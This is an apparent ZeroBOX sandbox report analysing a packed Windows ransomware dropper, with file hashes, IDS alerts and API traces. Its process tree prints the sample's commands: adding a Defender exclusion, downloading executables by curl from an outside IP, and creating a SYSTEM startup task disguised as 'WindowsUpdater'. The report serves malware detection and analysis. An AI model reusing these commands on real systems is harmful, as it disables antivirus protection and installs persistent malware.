Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Oct. 15, 2024, 2:16 p.m.	Oct. 15, 2024, 2:29 p.m.

Size	2.6MB
Type	PE32+ executable (console) x86-64, for MS Windows
MD5	`fb79af307b85682b1133f775dafcab83`
SHA256	`fa04b82bc420f171b60b70316bba828de05782a3fd946cce7169b3a431af909a`
CRC32	`75799D4D`
ssdeep	`24576:eBjUmQrt53UY/lREVrUgAGdVIO+feVZih+Ec0xMkl81sU3AoZ4MX/TYqDNB:eBjUmQrL3UY/lREEGdVsvC4MX/TYqDNB`
Yara	PE_Header_Zero - PE File Signature IsPE64 - (no description) UPX_Zero - UPX packed file

persistance.exe "C:\Users\test22\AppData\Local\Temp\persistance.exe"
2548
- cmd.exe C:\Windows\system32\cmd.exe /c schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
  2624
  - schtasks.exe schtasks /QUERY /TN "WindowsUpdater"
    2704
- cmd.exe C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
  2752
  - powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
    2796
- cmd.exe C:\Windows\system32\cmd.exe /c curl -s 130.61.181.50/ransomware/persistance.exe > C:\Users\test22\AppData\Local\Temp\Update.exe
  2988
  - curl.exe curl -s 130.61.181.50/ransomware/persistance.exe
    3032
- cmd.exe C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
  2076
  - schtasks.exe SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"
    2108
- cmd.exe C:\Windows\system32\cmd.exe /c curl -s 130.61.181.50/ransomware/payload.exe > C:\Users\test22\AppData\Local\Temp\Temp.exe
  2168
  - curl.exe curl -s 130.61.181.50/ransomware/payload.exe
    2228

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
130.61.181.50	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49169 -> 130.61.181.50:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.101:49169 -> 130.61.181.50:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic
TCP 130.61.181.50:80 -> 192.168.56.101:49169	2014819	ET INFO Packed Executable Download	Misc activity
TCP 130.61.181.50:80 -> 192.168.56.101:49169	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 130.61.181.50:80 -> 192.168.56.101:49169	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.101:49175 -> 130.61.181.50:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.101:49175 -> 130.61.181.50:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic
TCP 130.61.181.50:80 -> 192.168.56.101:49175	2014819	ET INFO Packed Executable Download	Misc activity
TCP 130.61.181.50:80 -> 192.168.56.101:49175	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 130.61.181.50:80 -> 192.168.56.101:49175	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (8 events)

Time & API	Arguments	Status	Return
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 15, 2024, 2:16 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (42 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002bcae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509b10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509b10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509b10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509b10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509b10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509f70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509f70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509f70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509d40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509d40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509d40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a2f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b50a2f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509d40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509d40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b509d40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002bca00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002bca00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002bcd80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002bcd80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b533f30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b533f30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b534240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b534240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 15, 2024, 2:16 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	Connection to IP address				suspicious_request	GET http://130.61.181.50/ransomware/persistance.exe
suspicious_features	Connection to IP address				suspicious_request	GET http://130.61.181.50/ransomware/payload.exe

Performs some HTTP requests (2 events)

request	GET http://130.61.181.50/ransomware/persistance.exe
request	GET http://130.61.181.50/ransomware/payload.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 170 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002a90000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002c10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1e000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00022000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00012000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002c12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002c14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00023000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00024000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00112000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00025000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00160000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00013000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00026000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00113000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0001a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00161000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 2796 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002c17000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates a shortcut to an executable file (1 event)

